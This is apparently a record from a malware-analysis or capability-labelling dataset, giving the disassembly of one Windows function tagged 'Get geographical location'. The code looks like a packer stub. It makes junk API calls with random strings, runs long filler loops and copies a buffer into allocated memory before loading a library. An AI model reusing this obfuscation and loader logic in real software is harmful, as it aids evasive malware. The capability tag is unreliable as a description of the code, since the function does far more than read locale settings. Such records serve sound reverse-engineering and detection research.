Function at 0x40d8ed
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186c
call fcn.0040cf40
mov eax, dword [0x43b090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40d922
mov ecx, dword [0x4400b4]
add ecx, 0xa231
mov dword [0x1bb7524], ecx
cmp dword [0x1bb7524], 0x141
jne 0x40d93f
or dword [0x441054], 0xffffffff
mov dword [0x441050], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40d909
push esi
xor esi, esi
cmp esi, 0x562d05
jne 0x40d95c
mov eax, dword [0x43c0a8]
mov dword [0x1bb7528], eax
cmp dword [0x1bb7524], 0x3c
jne 0x40d972
push str.ricusuve_xixiteluma_rexayodedulimopagecox_hebibebud
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
inc esi
cmp esi, 0x5f6c74
jl 0x40d94a
cmp dword [0x1bb7524], 0x7c
push edi
jne 0x40da6e
push ebx
lea eax, [ebp - 0x1804]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x185c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
lea eax, [ebp - 0x1858]
push eax
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
push ebx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push str.gupomum
call dword [sym.imp.KERNEL32.dll_FindAtomA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
xor eax, eax
mov word [ebp - 0x1850], ax
lea edi, [ebp - 0x184e]
stosw word es:[edi], ax
mov word [ebp - 0x184c], ax
lea edi, [ebp - 0x184a]
stosw word es:[edi], ax
lea eax, [ebp - 0x1864]
push eax
push dword [ebp - 0x184c]
lea eax, [ebp - 0x1854]
push dword [ebp - 0x1850]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push ebx
lea eax, [ebp - 0x804]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push str.wihecifoyewuhoxumadehe_soxefacafenopohugojuxefiwig__s__d__f
push ebx
call fcn.00401e22
push 0x439734
push 0x440fc8
call fcn.00401e60
push ebx
call fcn.00401e55
add esp, 0x14
cmp dword [0x1bb7524], 0x110a
jne 0x40dbd4
push ebx
mov dword [0x1bb73f0], ebx
mov dword [0x1bb73f4], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1854]
push eax
lea eax, [ebp - 0x1858]
push eax
lea eax, [ebp - 0x185c]
push eax
lea eax, [ebp - 0x1850]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
push ebx
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x186c], ax
lea edi, [ebp - 0x186a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1804]
push eax
push str.wojedifocesavicujaduz
lea eax, [ebp - 0x186c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push ebx
push str.fucajodif_karerixidud
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
fld qword [0x439818]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x43977c
push str._s__f__c
call fcn.00401e60
push ebx
push ebx
call fcn.00401c43
add esp, 0x1c
push 7
pop edi
xor eax, eax
push 1
lea esi, [ebp - 0x1820]
mov dword [ebp - 0x1808], edi
mov dword [ebp - 0x180c], ebx
mov word [ebp - 0x181c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401c43
xor eax, eax
push ebx
push ebx
mov dword [ebp - 0x1824], edi
mov dword [ebp - 0x1828], ebx
mov word [ebp - 0x1838], ax
call fcn.00401fad
push ebx
push ebx
call fcn.00401c43
push ebx
call fcn.00401cd2
push 0x439790
push 0x440fc8
call fcn.00401e22
add esp, 0x24
push 1
xor ebx, ebx
lea esi, [ebp - 0x183c]
call fcn.0040104c
push 1
lea esi, [ebp - 0x1820]
call fcn.0040104c
push dword [0x1bb7524]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [0x1bb7244], eax
pop edi
cmp dword [0x1bb7524], ebx
jbe 0x40dc34
mov eax, dword [0x1bb7528]
mov dword [ebp - 0x184c], eax
mov eax, 0xa231
add dword [ebp - 0x184c], eax
mov eax, dword [ebp - 0x184c]
mov al, byte [eax + ecx]
mov edx, dword [0x1bb7244]
mov byte [edx + ecx], al
mov eax, dword [0x1bb7524]
cmp eax, 0x5ab
jne 0x40dc2f
mov dword [0x1bb7248], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40dbf1
push 0x439794
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040d62d
call fcn.0040d60f
call fcn.0040d8a5
xor eax, eax
cmp eax, 0xd606b
jne 0x40dc5c
call fcn.0040d604
inc eax
cmp eax, 0x24e87d
jl 0x40dc50
mov esi, 0x1e4165
cmp dword [0x1bb7524], 0xcc1
jne 0x40dc83
push str.labohevepikakayilocavafe
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
cmp dword [0x1bb7524], 0x7c4
mov dword [0x1bb724c], 0x8e46a6f0
jne 0x40dca5
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
dec esi
jne 0x40dc69
pop esi
cmp ebx, 0x408e
jle 0x40dcbd
cmp dword [ebp - 0x1840], 0xf5bed7
jne 0x40dcc6
inc ebx
cmp ebx, 0x687ed2
jl 0x40dca9
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret